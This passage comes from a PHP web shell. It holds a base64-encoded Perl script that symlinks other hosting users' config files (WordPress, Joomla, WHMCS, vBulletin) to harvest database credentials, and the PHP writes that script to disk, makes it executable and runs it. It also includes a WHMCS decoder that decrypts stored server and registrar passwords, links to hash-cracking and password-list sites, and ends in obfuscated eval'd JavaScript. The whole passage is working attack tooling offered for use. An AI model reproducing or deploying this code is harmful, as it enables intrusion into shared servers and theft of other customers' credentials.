cCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7Cn0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7CiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cn0gZWxzZSB7CiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Owp9CkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7CmZvcmVhY2ggJHBhaXIgKEBwYWlycykgewogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOwogICRuYW1lID1+IHRyLysvIC87CiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkdmFsdWUgPX4gdHIvKy8gLzsKICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkRk9STXskbmFtZX0gPSAkdmFsdWU7Cn0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsKcHJpbnQgJwo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4KPHA+U3ltbGluayBDb25maWdzPC9wPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+PC90ZXh0YXJlYT48YnIgLz4KIDxwPgo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iaW5kb25lc2lhIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KIDwvcD4KPHA+CjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQgQ29uZmlnIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMDBGRkZGOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4KPC9mb3JtPic7Cn1lbHNlewpAbGluZXMgPTwkRk9STXtwYXNzfT47CiR5ID0gQGxpbmVzOwpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOwpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOwpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7CndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpewombGlsKCQxKTsKcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7CmZvcigka2Q9MTska2Q8MTg7JGtkKyspewpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7Cn0KfQogfQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4KPHA+RG9uZSAhITwvcD4KPHA+IDwvcD4nOwppZigkRk9STXt0YXJ9IG5lICIiKXsKb3BlbihJTkZPLCAidGFyLnRtcCIpOwpAbGluZXMgPTxJTkZPPiA7CmNsb3NlKElORk8pOwpzeXN0ZW0oQGxpbmVzKTsKcHJpbnQnPHA+PGJyPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPgo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PDwvcD4nOwp9Cn0KIHByaW50Igo8L2JvZHk+CjwvaHRtbD4iOw==';
  2422. $file = fopen("a.pl" ,"w+");
  2423. $write = fwrite ($file ,base64_decode($configshell));
  2424. fclose($file);
  2425. chmod("a.pl",0755);
  2426. chmod(".htaccess",0755);
  2427. echo "<iframe src=terjang/a.pl width=97% height=100% frameborder=0></iframe>
  2428. </div>";
  2429. ?>
  2430. <?php
  2431. }
  2432. /////////////////////////////////////////////////////////////////
  2433. elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
  2434. {
  2435. ?>
  2436. <form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">
  2437. <?php
  2438. function decrypt ($string,$cc_encryption_hash)
  2439. {
  2440. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  2441. $hash_key = _hash ($key);
  2442. $hash_length = strlen ($hash_key);
  2443. $string = base64_decode ($string);
  2444. $tmp_iv = substr ($string, 0, $hash_length);
  2445. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  2446. $iv = $out = '';
  2447. $c = 0;
  2448. while ($c < $hash_length)
  2449. {
  2450. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  2451. ++$c;
  2452. }
  2453. $key = $iv;
  2454. $c = 0;
  2455. while ($c < strlen ($string))
  2456. {
  2457. if (($c != 0 AND $c % $hash_length == 0))
  2458. {
  2459. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  2460. }
  2461. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  2462. ++$c;
  2463. }
  2464. return $out;
  2465. }
  2466. function _hash ($string)
  2467. {
  2468. if (function_exists ('sha1'))
  2469. {
  2470. $hash = sha1 ($string);
  2471. }
  2472. else
  2473. {
  2474. $hash = md5 ($string);
  2475. }
  2476. $out = '';
  2477. $c = 0;
  2478. while ($c < strlen ($hash))
  2479. {
  2480. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  2481. $c += 2;
  2482. }
  2483. return $out;
  2484. }
  2485. echo "
  2486. <br><center><font size='5' color='#FFFFFF'><b>+--==[ WHMCS Decoder ]==--+</b></font></center>
  2487. <center>
  2488. <br>
  2489. <FORM action='' method='post'>
  2490. <input type='hidden' name='form_action' value='2'>
  2491. <br>
  2492. <table class=tabnet style=width:320px;padding:0 1px;>
  2493. <tr><th colspan=2>WHMCS Decoder</th></tr>
  2494. <tr><td>db_host </td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
  2495. <tr><td>db_username </td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
  2496. <tr><td>db_password</td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
  2497. <tr><td>db_name</td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
  2498. <tr><td>cc_encryption_hash</td><td><input style='color:#FFFFFF;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
  2499. <td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#FFFFFF;background-color:' value='Submit' name='Submit'></td>
  2500. </table>
  2501. </FORM>
  2502. </center>
  2503. ";
  2504. if($_POST['form_action'] == 2 )
  2505. {
  2506. //include($file);
  2507. $db_host=($_POST['db_host']);
  2508. $db_username=($_POST['db_username']);
  2509. $db_password=($_POST['db_password']);
  2510. $db_name=($_POST['db_name']);
  2511. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  2512. $link=mysql_connect($db_host,$db_username,$db_password) ;
  2513. mysql_select_db($db_name,$link) ;
  2514. $query = mysql_query("SELECT * FROM tblservers");
  2515. while($v = mysql_fetch_array($query)) {
  2516. $ipaddress = $v['ipaddress'];
  2517. $username = $v['username'];
  2518. $type = $v['type'];
  2519. $active = $v['active'];
  2520. $hostname = $v['hostname'];
  2521. echo("<center><table border='1'>");
  2522. $password = decrypt ($v['password'], $cc_encryption_hash);
  2523. echo("<tr><td>Type</td><td>$type</td></tr>");
  2524. echo("<tr><td>Active</td><td>$active</td></tr>");
  2525. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  2526. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  2527. echo("<tr><td>Username</td><td>$username</td></tr>");
  2528. echo("<tr><td>Password</td><td>$password</td></tr>");
  2529. echo "</table><br><br></center>";
  2530. }
  2531. $link=mysql_connect($db_host,$db_username,$db_password) ;
  2532. mysql_select_db($db_name,$link) ;
  2533. $query = mysql_query("SELECT * FROM tblregistrars");
  2534. echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
  2535. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  2536. while($v = mysql_fetch_array($query)) {
  2537. $registrar = $v['registrar'];
  2538. $setting = $v['setting'];
  2539. $value = decrypt ($v['value'], $cc_encryption_hash);
  2540. if ($value=="") {
  2541. $value=0;
  2542. }
  2543. $password = decrypt ($v['password'], $cc_encryption_hash);
  2544. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  2545. }
  2546. }
  2547. }
  2548. elseif(isset($_GET['x']) && ($_GET['x'] == 'hack-db'))
  2549. {
  2550. ?>
  2551. <br>
  2552. <iframe
  2553. src ="http://hack-db.com/notify.html"
  2554. height="600"
  2555. width="100%">
  2556. </iframe>
  2557. <?php
  2558. }
  2559. elseif(isset($_GET['x']) && ($_GET['x'] == 'MD5'))
  2560. {
  2561. ?>
  2562. <br>
  2563. <iframe
  2564. src ="http://www.md5decrypter.co.uk/"
  2565. height="600"
  2566. width="100%">
  2567. </iframe>
  2568. <?php
  2569. }
  2570. elseif(isset($_GET['x']) && ($_GET['x'] == 'sitelist'))
  2571. {
  2572. ?>
  2573. <br><br><br>
  2574. <center><div id="sitelist"><a onClick="window.open('http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>">Site list</a></center>
  2575. <?php
  2576. }
  2577. elseif(isset($_GET['x']) && ($_GET['x'] == 'passlist'))
  2578. {
  2579. ?>
  2580. <br><br><br>
  2581. <center><div id="Open"><a onClick="window.open('http://pastebin.com/raw.php?i=HTH4m1DQ','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://pastebin.com/raw.php?i=HTH4m1DQ">Open</a></center>
  2582. <?php
  2583. }
  2584. elseif(isset($_GET['x']) && ($_GET['x'] == 'fans'))
  2585. {
  2586. ?>
  2587. <br>
  2588. <center><iframe src="//www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fhackerkocancommunity&amp;width=292&amp;height=590&amp;show_faces=true&amp;colorscheme=dark&amp;stream=true&amp;border_color&amp;header=true&amp;appId=128969567271767" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:590px;" allowTransparency="true"></iframe></center>
  2589. <?php
  2590. }
  2591. elseif(isset($_GET['x']) && ($_GET['x'] == 'SHA1'))
  2592. {
  2593. ?>
  2594. <form action="?y=<?php echo $pwd; ?>&amp;x=SHA1" method="post">
  2595. <title>SHA1 Hash Generator -Aerul Da White-Hkc</title><link rel='stylesheet' href='http://scream-crew.org/style.css' type='text/css'><font color="#00ff00"> <center><br>[<a href=""> Clear to SHA1 </a>]
  2596. </font></pre></center></font></br><table class='maintable'><tr class='headline'></table><table border=0 width=100%><tr><td valign=top>
  2597. <form method=post>
  2598. <font color="#00ff00">
  2599. <center><body><span style="font-family: arial, helvetica, sans-serif;font-size: x-large;text-shadow: 1px 1px 1px #000;">SHA1 Hash Generator</span> <br />
  2600. </font>
  2601. <font color="#00ff00">
  2602. <center><form name="codForm">
  2603. <script language=JavaScript>eval(unescape('var%20zipco_bas%3D%27ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B%2F%27%3B%20function%20zipco_dec%28str%29%20%7B%20str%3Dstr.split%28%27%40%27%29.join%28%27CAg%27%29%3B%20str%3Dstr.split%28%27%21%27%29.join%28%27W5%27%29%3B%20str%3Dstr.split%28%27%2A%27%29.join%28%27CAgI%27%29%3B%20var%20bt%2C%20dt%20%3D%20%27%27%3B%20for%28i%3D0%3B%20i%3Cstr.length%3B%20i%20%2B%3D%204%29%20%7B%20bt%20%3D%20%28zipco_bas.indexOf%28str.charAt%28i%29%29%20%26%200xff%29%20%3C%3C18%20%7C%20%28zipco_bas.indexOf%28str.charAt%28i%20%2B1%29%29%20%26%200xff%29%20%3C%3C12%20%7C%20%28zipco_bas.indexOf%28str.charAt%28i%20%2B2%29%29%20%26%200xff%29%20%3C%3C%206%20%7C%20zipco_bas.indexOf%28str.charAt%28i%20%2B3%29%29%20%26%200xff%3B%20dt%20%2B%3D%20String.fromCharCode%28%28bt%20%26%200xff0000%29%20%3E%3E16%2C%20%28bt%20%26%200xff00%29%20%3E%3E8%2C%20bt%20%26%200xff%29%3B%20%7D%20if%28str.charCodeAt%28i%20-2%29%20%3D%3D%2061%29%20%7B%20return%28dt.substring%280%2C%20dt.length%20-2%29%29%3B%20%7D%20else%20if%28str.charCodeAt%28i%20-1%29%20%3D%3D%2061%29%20%7B%20return%28dt.substring%280%2C%20dt.length%20-1%29%29%3B%20%7D%20else%20%7Breturn%28dt%29%7D%3B%20%7D')); 